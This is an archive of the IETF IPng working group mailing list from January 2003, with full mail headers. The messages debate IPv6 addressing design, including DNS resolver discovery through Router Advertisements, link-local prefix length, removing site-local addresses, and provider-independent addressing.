> dropped something that really should not have been dropped (as you
> see it).

I don't see anything critical that was dropped.

> If the proxy is aggregating traffic so as to share a flow, then it
> no longer "my bandwidth" or "your bandwidth", it is just aggregate
> bandwidth that the proxy is responsible for managing, at least
> responsible for which traffic it is inserting to the aggregate. From
> the IPv6 viewpoint the proxy is the source of the flow.

OK

Thomas
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 08:39:49 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KGdn16005824;
	Mon, 20 Jan 2003 08:39:49 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0KGdnW9005823;
	Mon, 20 Jan 2003 08:39:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0KGdk16005816
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 08:39:46 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0KGdtgE011853
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 08:39:55 -0800 (PST)
Received: from p-mail1.rd.francetelecom.com (p-mail1.rd.francetelecom.com [193.49.124.31])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA02062
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 09:39:50 -0700 (MST)
Received: from parsmtp2.rd.francetelecom.com ([10.193.117.129]) by p-mail1 with InterScan Messaging Security Suite; Mon, 20 Jan 2003 17:40:03 +0100
Received: from lanmhs50.rd.francetelecom.fr ([10.193.21.52]) by parsmtp2.rd.francetelecom.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 20 Jan 2003 17:39:48 +0100
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Subject: What about using RA for DNS Resolver Discovery ?
Date: Mon, 20 Jan 2003 17:39:48 +0100
Message-ID: <C691E039D3895C44AB8DFD006B950FB41BCD37@lanmhs50.rd.francetelecom.fr>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Question about IPsec in IPv6 
Thread-Index: AcLAlYDvPb80xqfbQXqE8W5o8oTfzgABndDA
From: "BELOEIL Luc FTRD/DMI/CAE" <luc.beloeil@rd.francetelecom.com>
To: <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 20 Jan 2003 16:39:48.0906 (UTC) FILETIME=[8C3120A0:01C2C0A2]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0KGdk16005817
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi all, 

DNS Discovery Design Team studied the opportunity to use RA so as to
advertise DNS resolver IPv6 addresses in 2001. But no proposition has
followed. The only propositions today are to use well-known addresses or
DHCPv6.

I believe that such a solution may be still interesting.

I've proposed an individual idea about creating a new option for
Neighbor Discovery so as to discover DNS resolver IPv6 addresses
(http://www.ietf.org/internet-drafts/draft-beloeil-ipv6-dns-resolver-opt
ion-01.txt).

I would like to have feedback from the working group. Pekka Savola has
already commented that idea.

The main question remains: "Is a request-reply mechanism a good
mechanism?"

Luc B.

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 17:35:05 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0L1Z516009539;
	Mon, 20 Jan 2003 17:35:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0L1Z5W5009538;
	Mon, 20 Jan 2003 17:35:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0L1Z216009531
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 17:35:02 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0L1ZBgE025011
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 17:35:11 -0800 (PST)
Received: from ithilien.qualcomm.com (ithilien.qualcomm.com [129.46.51.59])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA28449
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 17:35:06 -0800 (PST)
Received: from neophyte.qualcomm.com (neophyte.qualcomm.com [129.46.61.149])
	by ithilien.qualcomm.com (8.12.3/8.12.5/1.0) with ESMTP id h0L1Z4mI001982
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 17:35:04 -0800 (PST)
Received: from SIVAV.qualcomm.com (sivav.qualcomm.com [129.46.222.34])
	by neophyte.qualcomm.com (8.12.3/8.12.5/1.0) with ESMTP id h0L1Z2sd018206
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 17:35:02 -0800 (PST)
Message-Id: <4.3.1.2.20030120103030.01a1ad00@jittlov.qualcomm.com>
X-Sender: sivav@jittlov.qualcomm.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 20 Jan 2003 17:33:02 -0800
To: ipng@sunroof.eng.sun.com
From: Siva Veerepalli <sivav@qualcomm.com>
Subject: Questions on Link Local Address and Prefix
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Draft 11 of the Addressing Architecture says the following:

a. The prefix length of link-local is 10 bits i.e., FE80::/10 (sec 2.4)
b. For all unicast addresses, except those that start with binary value 
000, Interface IDs are required to be 64 bits long and to be constructed in 
Modified EUI-64 format (sec 2.5.1)

In "2.5.6 Local-Use IPv6 Unicast Addresses", the figure shows that the 54 
bits following the first 10 bits of the link local address are set to 0. 
However, it is not explicitly stated anywhere that this is a requirement. 
If that is the intent, then shouldn't the LL prefix really be FE80::/64?

If that is not the intent, are the 54 bits following the first 10 
considered part of the prefix (subnet ID?), that can be any value (or) is 
it considered part of the interface ID (but that does not agree with b., 
above).


Thanks,
Siva

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 20 19:39:45 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0L3dj16009762;
	Mon, 20 Jan 2003 19:39:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0L3djpU009761;
	Mon, 20 Jan 2003 19:39:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0L3df16009754
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 19:39:41 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0L3do4w002423
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 19:39:51 -0800 (PST)
Received: from daakghar.controlnet.co.in (daakghar.controlnet.co.in [202.54.116.74])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id UAA05558
	for <ipng@sunroof.eng.sun.com>; Mon, 20 Jan 2003 20:39:43 -0700 (MST)
Received: from digambar ([192.168.4.1]) by
          dakiya.controlnet.co.in (Netscape Messaging Server 4.15) with
          ESMTP id H91OX100.9OG for <ipng@sunroof.eng.sun.com>; Tue, 21
          Jan 2003 09:11:25 +0530 
Message-ID: <001601c2c0fd$ec943530$e20aa8c0@digambar>
From: "Digambar Rasal" <digambar@controlnet.co.in>
To: <ipng@sunroof.eng.sun.com>
References: <001301c2bc48$737cef70$e20aa8c0@digambar>
Subject: Re: Web Server addresses : Unicast , Multicast , Anycast
Date: Tue, 21 Jan 2003 09:03:48 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi

I am developing a Web server , router , load balancers, Gateway and Switch
testing software.

I have read the RFC reagrding the addressing in IPv6 and I understood that
Web servers , routers , load balancers, Gateways and Switches can have
either Unicast  or Multicast or Anycast address.

I am not sure that my interpretation  is correct .. So please correct if I
am wrong.

Regards
Digambar Rasal


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 20:15:43 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M4Fg16016611;
	Tue, 21 Jan 2003 20:15:43 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M4FgYi016610;
	Tue, 21 Jan 2003 20:15:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M4Fd16016603
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 20:15:39 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0M4Fd4w008385
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 20:15:39 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA17099
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 20:15:33 -0800 (PST)
Subject: RE: Questions on Link Local Address and Prefix
Date: Tue, 21 Jan 2003 20:15:33 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B55@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Content-class: urn:content-classes:message
Thread-Topic: Questions on Link Local Address and Prefix
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
Thread-Index: AcLA7jrbuk1XEHfbRPqJtMCAhl8IWQA3bB1A
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Siva Veerepalli" <sivav@qualcomm.com>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0M4Fd16016604
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Siva Veerepalli wrote:
> In "2.5.6 Local-Use IPv6 Unicast Addresses", the figure shows that
> the 54 bits following the first 10 bits of the link local address
> are set to 0. However, it is not explicitly stated anywhere that
> this is a requirement. If that is the intent, then shouldn't the LL
> prefix really be FE80::/64?

The answer to this question is both yes and no at the same time. With
the current use of link-locals, maybe. However, there is IMHO value in
keeping the prefix as a /10 for future use.

It easy to make a relation with site-local addresses (following the same
logic, the prefix should be a /48). There are drafts both on the table
and upcoming that propose using the extra bits for purposes that have
not been envisioned at the time of the original design.

> If that is not the intent, are the 54 bits following the first 10
> considered part of the prefix (subnet ID?), that can be any value
> (or) is it considered part of the interface ID (but that does not
> agree with b., above).

Neither one. At this point in time, there is no such thing as a subnet
ID for link-local addresses and the IID is 64bits long. I agree that
these 54 bits are in some kind of semantic void. I guess "unused" would
be a good term for now.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 22:36:57 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6au16017048;
	Tue, 21 Jan 2003 22:36:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M6auHf017047;
	Tue, 21 Jan 2003 22:36:56 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6aq16017040
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:36:52 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0M6aiP13521;
	Wed, 22 Jan 2003 07:36:44 +0100 (MET)
Date: Wed, 22 Jan 2003 00:27:21 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: Proposal for site-local clean-up
To: Dan Lanciani <ipng-incoming@danlan.com>
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <200211212007.PAA19015@ss10.danlan.com>
Message-ID: <Roam.SIMC.2.0.6.1043191641.32689.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> |Sorry for the delayed response - didn't see me in the to: or cc: fields.
> 
> I try to keep all the mail to the list just to the list...

As long as you don't ask me direct questions and expect me to answer
than would be fine. This time it took almost 2 months...

> |You seem to be assuming flash renumbering without overlap.
> 
> Yes, that is the only reasonable assumption to make.  Just as ISPs now use
> short DHCP leases and related dynamic adderssing techniques to discourage
> what they perceive as "bandwidth hungry server activity" they will use
> frequent renumbering to achieve the same goals.  Without site locals they
> will have the added advantage of being able to disrupt not only your
> "server's" accessibility from the internet, but your stereo and your tv as
> well.  At least they will be able to do this until v6 NAT appears.
> 
> Please explain why you assume that ISPs will change their business models
> under v6.

The ISPs business model is about service differentiation.
They can and do use various techniques in IPv4 to accomplish this - short
DHCP leases, 1 vs. multiple IP addresses, port filtering, access line bandwidth
etc. They will AFAIK continue to need to do service differentiation.
But the actual form of service differentiation doesn't need to be
the same.

Will v6 make the ISPs that do port filtering stop doing so?
Not uness there is some other means to provide service differentiation.

Will v6 make the ISPs that use short leases stop doing so?
Not uness there is some other means to provide service differentiation.

If we can provide some other means for them to do so, we can avoid having to
warp the addressing architecture to try to "route around" the ISPs desire.

I think this is what the tussle paper ("A tussle in cyperspace - defining 
tomorrow's internet") means when it talks about designing for variations in
outcome and not designing to try to force the outcome of the tussle.
Something well-worth considering in this space IMHO.

 Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 22:37:04 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6b416017058;
	Tue, 21 Jan 2003 22:37:04 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M6b4vr017057;
	Tue, 21 Jan 2003 22:37:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6av16017050
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:36:58 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0M6apP13543;
	Wed, 22 Jan 2003 07:36:52 +0100 (MET)
Date: Wed, 22 Jan 2003 02:16:15 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: a different approach to site-local's "security" 
To: Steve Bellovin <smb@research.att.com>
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <20021125190821.B75277B6B@berkshire.research.att.com>
Message-ID: <Roam.SIMC.2.0.6.1043198175.26247.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Some people want the "security" that site-local brings.  For a 
> different approach that's about as easy but more flexible -- and 
> without the architectural complexities of site-local -- see
> http://www.research.att.com/~smb/papers/draft-bellovin-ipv6-accessprefix-00.txt
> (I've submitted it to internet-drafts, but they've got a backlog to 
> clear.)

This is much better than hardcoding a security policy about fec0::/10.
If this allows us to completely get rid of site locals (or at least
restrict them to disconnected sites) I think it is a good idea.

One comment that hasn't be raised is that you want the option to carry
its own lifetime - there isn't a lifetime associated with the whole RA
packet but only the default router lifetime (in the RA header)
and explicit lifetime(s) in the prefix option.

  Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 22:37:34 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6bY16017082;
	Tue, 21 Jan 2003 22:37:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M6bY5d017081;
	Tue, 21 Jan 2003 22:37:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6bT16017071
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:37:30 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0M6bKP13583;
	Wed, 22 Jan 2003 07:37:20 +0100 (MET)
Date: Wed, 22 Jan 2003 03:34:19 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: Taking two steps back (Was: Re: one question...)
To: Margaret Wasserman <mrw@windriver.com>
Cc: Mark Smith <ipv6@nosense.org>, ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <5.1.0.14.0.20021126092449.015d2d60@mail.windriver.com>
Message-ID: <Roam.SIMC.2.0.6.1043202859.17676.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> Let's take two steps back, stop discussing possible solutions for a
> moment and discuss the problem statement.  I'd like it to be possible for
> an enterprise to:
> 
>          - Have resources (i.e nodes or services) that are accessible
>                  only to sub-groups within the enterprise (i.e.
>                  departments).  Example:  a printer that only marketing
>                  is allowed to use.
>          - Have resources that are available to the whole enterprise,
>                  but that are not accessible outside the enterprise.
>                  Example:  An HR benefits website.
>          - Have resources that are available on an extranet (between a
>                  selected group of enterprises) that are not accessible
>                  to all other enterprises.  Example:  A supplier/customer
>                  network.
>          - Have resources that are globally available, and be able to
>                  send global traffic. Example:  Google.
> 
> All of these things can be achieved without site-locals, using
> provider-allocated global addresses and appropriate configurations of
> firewalls, ACLs, route filtering and split DNS.

I don't see why the above requires a split DNS, since the addresses are
global.
A split DNS is only needed if there is need to return different information
for the same name (e.g. an internal vs. external www.example.com)
or a need to hide some information from one side (e.g. not "expose"
the IP addresses of all the internal nodes to the outside).


> However, some people have argued that network administrators will
> choose to use site-locals at one of these boundaries (probably the
> enterprise-wide boundary) in order to achieve ISP independence.  In
> other words, they want to make sure that they don't have to renumber
> their internal firewalls, ACLs, etc. if they change ISPs and/or
> their ISP renumbers.
> 
> This is a real issue, and a real benefit of site-local addressing.

I don't think it is.

We envision that a significant fraction of future nodes will be mobile.
Assuming that they use mobile-ip technology, the current suport for site-local
means that unless it is known that they will not move outside their home site,
they need to always use global addresses - whether they are in the home site
or not.
(It isn't impossible to fix this - an old draft-ietf-ipngwg-site-prefixes
draft had worked out cases for the fix - but it gets very very complex.)

Thus I think site-locals provide a rather limited support for isolating
the nodes inside the site from site renumbering.


> Are there other problems that NATs solve for the home environment
> that we need to find an architecturally sound way to solve in IPv6?
> I don't really know.

People seem to want PI addresses because it avoids applications
having to deal with addresses being renumbered.
We also need scalable site multihoming.

If we actually get a workable solution to separating identifiers
and locators (and IMHO the hardest problem lie in the system which manages
the mapping between the identifiers and the locators)
Then I observe that this should be able to remove the need for GUPI (just use
the identifiers locally) and provide something which looks like PI space
to the applications.
Granted that this is a hard problem, but we seem to be spending emails
on multiple subsets of this problem (in different WGs) thus I think it
would be worth-while to concentrate thinking on the identifier/locator
separation problem.

   Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 22:37:45 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6bj16017092;
	Tue, 21 Jan 2003 22:37:45 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M6bjxM017091;
	Tue, 21 Jan 2003 22:37:45 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6bc16017084
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:37:39 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0M6bTP13589;
	Wed, 22 Jan 2003 07:37:30 +0100 (MET)
Date: Wed, 22 Jan 2003 05:53:24 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: "unique enough" [RE: globally unique site local addresses]
To: Margaret Wasserman <mrw@windriver.com>
Cc: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>,
   Michel Py <michel@arneill-py.sacramento.ca.us>,
   Pekka Savola <pekkas@netcore.fi>,
   Christian Huitema <huitema@windows.microsoft.com>, ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <5.1.0.14.0.20021209093443.02b16dc8@mail.windriver.com>
Message-ID: <Roam.SIMC.2.0.6.1043211204.8688.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> I have the following things running around in my brain, and they aren't
> converging:
> 
>          - We need to provide PI addressing in IPv6, or we will
>                  see wide deployment of IPv6 NAT in enterprises
>                  and homes.  No one seems to be disagreeing with
>                  this.

home?

Having homes go from one, perhaps unstable, IPv4 address to a /48 PA
address is a tremendous improvement. I don't see why homes would require
global PI addresses today.

On the enterprise side I can see that folks have been bitting or
are concerned about renumbering costs if they were to use PA addresses.
But I don't have any data on how many consider having one PA prefix per ISP 
good enough since it allows some graceful cutover when changing ISPs.

  Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 22:38:02 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6c116017112;
	Tue, 21 Jan 2003 22:38:02 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0M6c1Wa017110;
	Tue, 21 Jan 2003 22:38:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6bm16017095
	for <ipng@sunroof.eng.sun.com>; Tue, 21 Jan 2003 22:37:49 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0M6bbP13597;
	Wed, 22 Jan 2003 07:37:38 +0100 (MET)
Date: Wed, 22 Jan 2003 06:08:37 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: Enforcing unreachability of site local addresses 
To: Keith Moore <moore@cs.utk.edu>
Cc: alh-ietf@tndh.net, ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <200212050213.gB52D8j08421@astro.cs.utk.edu>
Message-ID: <Roam.SIMC.2.0.6.1043212117.30159.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> I suspect we all agree that crushing the routing system would be bad .
> It seems like the question is what mechanism (other than ambiguity) 
> would be sufficient to prevent that happening.

Assuming we have the "SHOULD NOT be routed globally" in the spec.

Then if the PI addresses come from a different space than the PA addresses 
I think there is a way out.
When the routing gets strained ISPs can unilaterally decide to filter out
PI routes (or have a different prefix length filter for the PI space
than for the PA space).

ISPs are unlikely to do this for the PI routes their direct customers are
using, since it would upset their customers. But they should be able to do it
for the PI routes coming from elsewhere. And the ISPs could do this type of
filtering on the PI space from day one - "pay me money if you want me to
carry your PI route" - on an individual ISP basis.

Could this work?

I think, but I'm not sure, that this assumes that we will have a scalable PI
scheme some time in the future (presumably by separating PI identifiers
from PA locators).

  Erik
  

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 21 22:38:01 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0M6c116017109;
	Tue, 21 Jan 2003 22:38:01 -0800 (PST)
Received: (from majordomo@localhost)
